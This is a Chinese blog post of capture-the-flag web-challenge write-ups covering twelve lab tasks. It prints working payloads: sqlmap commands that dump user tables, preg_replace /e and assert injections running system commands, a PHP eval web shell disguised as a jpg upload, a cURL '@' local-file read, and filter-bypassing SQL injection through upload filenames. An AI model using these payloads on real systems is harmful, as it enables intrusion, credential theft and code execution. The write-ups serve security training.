1 baby_web
题目描述:
想想初始页面是哪个
解题思路:
进去之后显示HELLO WORLD
然后就按F12查看Network选项,在Name为111.198.29.45处发现flag
2 抓住那只猫
题目描述:
抓住那只猫
知识扩充:
- url编码
- Django知识
解题思路:
打开网页发现是一个ping功能,但是输入正常的用户名没有反应,输入ip地址才有反应
本来因为题目名叫cat,又是ping,以为是命令执行,但是尝试了|、&等都报错,提示Invalid URL,看来题目的本意并不是命令执行。
看了网上一个大佬的wp才知道这个是跟Django有关的。网站本身是用PHP写的,但是可能有Django的组成部分。
在url中尝试着输入 ?url=%70 执行后发现变成了 ?url=p 看来是后台程序将url编码并返回了
在url里传参 %80 报错(URL编码是0到127,80的十六进制是128自然报错),从报错信息的目录结构可以知道这个是Django的项目
居然是报的python的错,并且使用的是Django的框架,正常的php界面出错不是应该报Apache或者nignx的错吗???
这应该是PHP通过cURL向django的站发送数据,那边处理完再将数据传回。
关于 Django只需要知道,他是一个web服务框架
- Django使用的是gbk编码,超过%F7的编码不在gbk中有意义,所以%80会报错
- 当 CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。
既然用了 cURL,估计是cURL的漏洞,那肯定是找数据库的路径啊
直接在URL框中输入payload
1 | ?url=@/opt/api/database.sqlite3 |
又得到一个巨长的信息,直接ctrl + f搜ctf直接出来了
3 ics-04
题目描述:
工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。
知识扩充:
解题思路:
进入题目主界面,看着挺高大上,不过fuzz之后也就登录和注册这两个按钮能用
先注册个用户名为ikun的账户
然后登录ikun,发现自己注册的账户登录不了,所以就想办法爆出数据库里的内容
用sqlmap注入一下index.php、login.php、regist.php、findpwd.php,通过大佬的wp发现如下选项
有三个可以访问的功能,注册、登录和找回密码
注册功能:没有sql注入,一个账号可以重复注册漏洞
登录功能:没有sql注入,一个账号不同密码能够登录
找回密码功能:存在sql注入,payload:
于是就开始注入findpwd.php界面
1 | sqlmap -u 'http://111.198.29.45:38154/findpwd.php' --cookie 'PHPSESSID=fsv5c1snd2n2i0etm507fln942' --data="username=1" --dbs |
1 | sqlmap -u 'http://111.198.29.45:38154/findpwd.php' --cookie 'PHPSESSID=fsv5c1snd2n2i0etm507fln942' --data="username=1" -D cetc004 --tables |
1 | sqlmap -u 'http://111.198.29.45:38154/findpwd.php' --cookie 'PHPSESSID=fsv5c1snd2n2i0etm507fln942' --data="username=1" -D cetc004 -T user --columns |
1 | sqlmap -u 'http://111.198.29.45:38154/findpwd.php' --cookie 'PHPSESSID=fsv5c1snd2n2i0etm507fln942' --data="username=1" -D cetc004 -T user -C username,password --dump |
然后重新注册用户名为c3tlwDmIn23的账户
登录c3tlwDmIn23即得flag
4 ics-05
题目描述:
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
知识扩充:
- 文件包含
- preg_replace函数漏洞
- preg_replace函数使用 /e 模式,可以导致代码执行
- LFI漏洞的黑盒判断
(单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。此处,因为源码中有提示?page=index,所以读一下index.php中的源码)
解题思路:
拿到题目后用dirsearch扫描一下,发现/index.php/login/、/index.html、/index.php三个界面
经过fuzz之后,发现/index.php/login/毕竟可疑,联想到可能存在文件包含读源码的漏洞,尝试读取index.php的页面源码
通过php内置协议直接读取代码
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
经过base64解密后的源码
1 | <?php |
得到源码后开始审计,此处存在preg_replace函数,尝试测试是否存在命令注入漏洞
1 | //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 |
- 首先要伪造 X-Forwarded-For 为127.0.0.1。
- 然后要以GET方法传入pat、rep、sub三个参数,这三个参数的值分别作为preg_replace()函数的参数preg_replace($pattern, $replacement, $subject),pattern为要搜索的模式,replacement为用于替换的字符串或字符串数组,subject要进行搜索和替换的字符串或字符串数组。
- pattern参数可以使用一些PCRE修饰符,其中
即/e修正符使 preg_replace()将replacement参数当作 PHP 代码执行
首先进行XFF伪造
然后直接构造:
?pat=/.*/e&rep=system(‘ls’)&sub=test
然后在burpsuite中添加?pat=/.*/e&rep=system(‘ls+s3chahahaDir’)&sub=test
但是此时却没有发现任何东西
接着试一下?pat=/.*/e&rep=system(‘ls+s3chahahaDir/flag’)&sub=test
最后尝试?pat=/.*/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=test
得到了flag
5 ics-06
题目描述:
云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
知识扩充:
- burpsuite爆破
解题思路:
题目说云平台报表有问题,于是就进来看看,发现如下界面
还是送分题,所以应该不难,看到url是
感觉像是爆某个id就能出来flag,那就试试吧
在url后面的id改为2333就得到了flag
6 lottery
题目描述:
知识扩充:
- php弱比较
- git泄露
- burpsuite使用
- json数据类型
解题思路:
通过题目我们知道,要拿到flag,就要赢到足够的钱。
啥都不要管,开局直接dirsearch扫,结果发现是git泄露。
于是就用GitHack下载源码
然后,就开始审计源码,发现了buy函数,我们可以通过修改提交的数据来获得更多的钱
1 | function buy($req){ |
在买彩票这里的函数:
其中 $numbers 来自用户json输入 {“action”:”buy”,”numbers”:[true,true,true,true,true,true,true]},没有检查数据类型。 $win_numbers 是随机生成的数字字符串。
使用 PHP 弱类型松散比较,以”1”为例,和TRUE,1,”1”相等。 由于 json 支持布尔型数据,因此可以抓包改包,构造数据
然后,再放包就能买flag了
注意:
- burpsuite设置成能抓js数据
- 点击buy按钮时抓包
7 NewsCenter
题目描述:
知识扩充:
- sqlmap注入
解题思路:
此题与上面的ics-04类似,都是sqli,过程如下
1 | sqlmap -u 'http://111.198.29.45:55995/' --cookie 'PHPSESSID=4o6r0n13hrm3ihf2o7sck30494' --data='search=1' --dbs |
1 | sqlmap -u 'http://111.198.29.45:55995/' --cookie 'PHPSESSID=4o6r0n13hrm3ihf2o7sck30494' --data='search=1' -D news --tables |
1 | sqlmap -u 'http://111.198.29.45:55995/' --cookie 'PHPSESSID=4o6r0n13hrm3ihf2o7sck30494' --data='search=1' -D news -T secret_table --columns |
1 | sqlmap -u 'http://111.198.29.45:55995/' --cookie 'PHPSESSID=4o6r0n13hrm3ihf2o7sck30494' --data='search=1' -D news -T secret_table -C id,fl4g --dump |
8 mfw
题目描述:
知识扩充:
- git泄露(GitHack)
- svn泄露(Seay-Svn)
- 网站源码备份泄露(.rar、.zip、.7z、.tar.gz、.bak、.swp、.txt、.html)
- strpos函数
- assert函数
解题思路:
进去发现是一个个人博客网站,还是用git 写的。到底是不是git泄露呢,不管了,用dirsearch跑一下看看吧
然后就用 GitHack 跑一下,恢复了几个源码,审计后发现,flag.php中没有flag,而index.php中却发现了问题
1 | $file = "templates/" . $page . ".php"; |
这里先介绍一下assert、strpos这两个函数
接着,发现file变量是用我们输入的page变量拼接而成的,而且没有任何的过滤,看到了胜利的曙光!
我们可以在这段输入的字符中插入system函数来执行系统命令,于是构造payload如下所示
1 | page=flag') or system("cat templates/flag.php");// |
9 Training-WWW-Robots
题目描述:
知识扩充:
- robots协议
解题思路:
进去题目后显示如下界面
看着题目意思就是robots协议,于是便习惯性地在url后面加上robots.txt,发现如下界面的提示
然后就在url后面添加/fl0g.php,最终发现了flag
10 NaNNaNNaNNaN-Batman
题目描述:
知识扩充:
- 正则表达式
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions - JavaScript代码审计
https://www.w3school.com.cn/jsref/jsref_match.asp
解题思路:
下载一个压缩包,打开发现是一段javascript脚本,不过啥都看不懂
1 | <script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script> |
然后就在控制台上输入,并把这段脚本中的eval改成console.log,得到如下函数
1 | function $() |
通过审计我们可以知道_是一个函数,并且在一开始的输入框里输入的值要满足下面五个条件的判断才能执行下面的代码
- 输入的字符串长度必须为16个字符
- 字符串的开头必须要匹配be0f23
- 字符串的结尾必须要匹配e98aa
- 字符串中要能匹配到233ac和c7be9
直接扔payload,如下所示
1 | be0f233ac7be98aa |
将得到的web100保存为html文件,用浏览器打开并输入payload即可得到flag
11 bug
题目描述:
知识扩充:
- 漏洞挖掘
- XFF伪造
- 文件上传漏洞
解题思路:
首先找出这个站点的bug,发现在findpwd界面找回密码时,输对两个条件就能修改密码
用自己注册的用户ikun的账户登录进去之后 ,填入newpassword后抓包
然后在burpsuite中把username改为admin,成功修改了admin的密码
然后用 admin 登录 ,访问 manager 功能时 显示 IP Not allowed!
使用XFF伪造,在请求头部分加入X-Forwarded-For: 127.0.0.1
在源码中看到 ?module=filemanage&do=???,文件管理肯定是do=upload了
于是就访问 index.php?module=filemanage&do=upload
发现只能上传jpg文件,尝试传php、php4、php5都不行,然后就写好一个txt,内容是下面的脚本,然后改后缀名为jpg,上传抓包,并修改jpg为php4或者php5
1 | <script language="php">@eval($_POST['attack']);</script> |
再次提交即得flag
12 upload
题目描述:
知识扩充:
- 文件上传漏洞
- 文件名注入漏洞
解题思路:
思路1
本以为是一个简单的文件上传题,谁能想到他将然是一个sql注入题,还是注入的文件的名,把这个题的难度提高了不少
刚开始的时候通过测试发现只能上传jpg文件,应该是用的后缀名白名单,但是上传之后没有返回路径,这就让我怀疑本题的突破点不是上传马!
它回显了上传文件的文件名,文件名没有被修改,文件名肯定是存入数据库了
那就尝试在文件名上做些文章,在文件名上构造 payload 进行 sql 注入
然后注入
1 | '+(select database())+'.jpg |
在点击 submit 的时候开始抓包,然后修改 filename 的内容为上面的payload,如下图所示
然后将其发到 Repeater 模块,点击 Go
最后回到 Proxy 模块,点击 Forward放包,在浏览器中就能看见上传文件的回显信息了,这是一个简单的文件注入过程,下面的注入过程与此类似,下面就不在赘述了。
显示文件上传成功,回显文件如下所示
说明没有查到信息,可能有过滤,改为如下payload,上传成功,没有回显提示
1 | '+(selselectect database())+'.jpg |
判断肯定是查到信息了,但是结果被过滤
然后又试着上传jpg文件上传成功回显正常,说明了只是数据控回显的信息被过滤了,至于进行了什么过滤方式再接着试试
1 | '+(selselectect substr(hex(DataBase()),1,12))+'.jpg |
回显了16进制数7765625,将其转 ascii 为 web,接着看看后面还有没有剩下的字符
1 | '+(selselectect substr(hex(DataBase()),13,12))+'.jpg |
什么都不回显,什么情况,那就把 16进制转为 10进制输出:
1 | '+(selselectect CONV(substr(hex(DataBase()),1,12),16,10))+'.jpg |
上面的两个payload依次返回131277325825392和1819238756
转成拼接后得到库名为web_upload
但是又有了一个疑问,为什么substr要设置为1到12呢,尝试以后发现,当我们设置为1,13时 ,出现了科学计数法,这是无法转化为10进制的,所以才设定了1,12这个限制
爆表名:
1 | '+(selselectect CONV(substr(hex((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg |
上面的两个payload依次返回112602976187180
、114784820031327、112615676665705和126853610566245
将四个10进制数字转成16进制,然后再转成字符并拼接后得到表名为files,hello_flag_is_here
拼接后得到:
爆字段:
1 | '+(selselectect CONV(substr(hex((selselectect group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg |
上面的两个payload依次返回115858377367398和7102823
将两个10进制数字转成16进制,然后再转成字符并拼接后得到字段名为i_am_flag
脱库:
1 | '+(selselectect CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here)),1,12),16,10))+'.jpg |
上面的三个payload依次返回36427215695199、92806431727430和560750951
将两个10进制数字转成16进制,然后再转成字符并拼接后得到字段名为!!_@m_Th.e_F!lag
flag就是下面的内容
1 | !!_@m_Th.e_F!lag |
思路2
大家注意一下自己的uid,我这里是1669
爆数据库
1 | 1','2','3'),(database(),'2','1669'),('1.jpg |
爆表
1 | 1','2','3'),((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),'2','1669'),('1.jpg |
爆字段
1 | 1','2','3'),((selselectect group_concat(column_name) frfromom information_schema.columns where table_schema=database() anandd table_name='hello_flag_is_here'),'2','1669'),('1.jpg |
爆flag
1 | 1','2','3'),((selselectect i_am_flag frfromom hello_flag_is_here),'2','1669'),('1.jpg |
参考链接
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。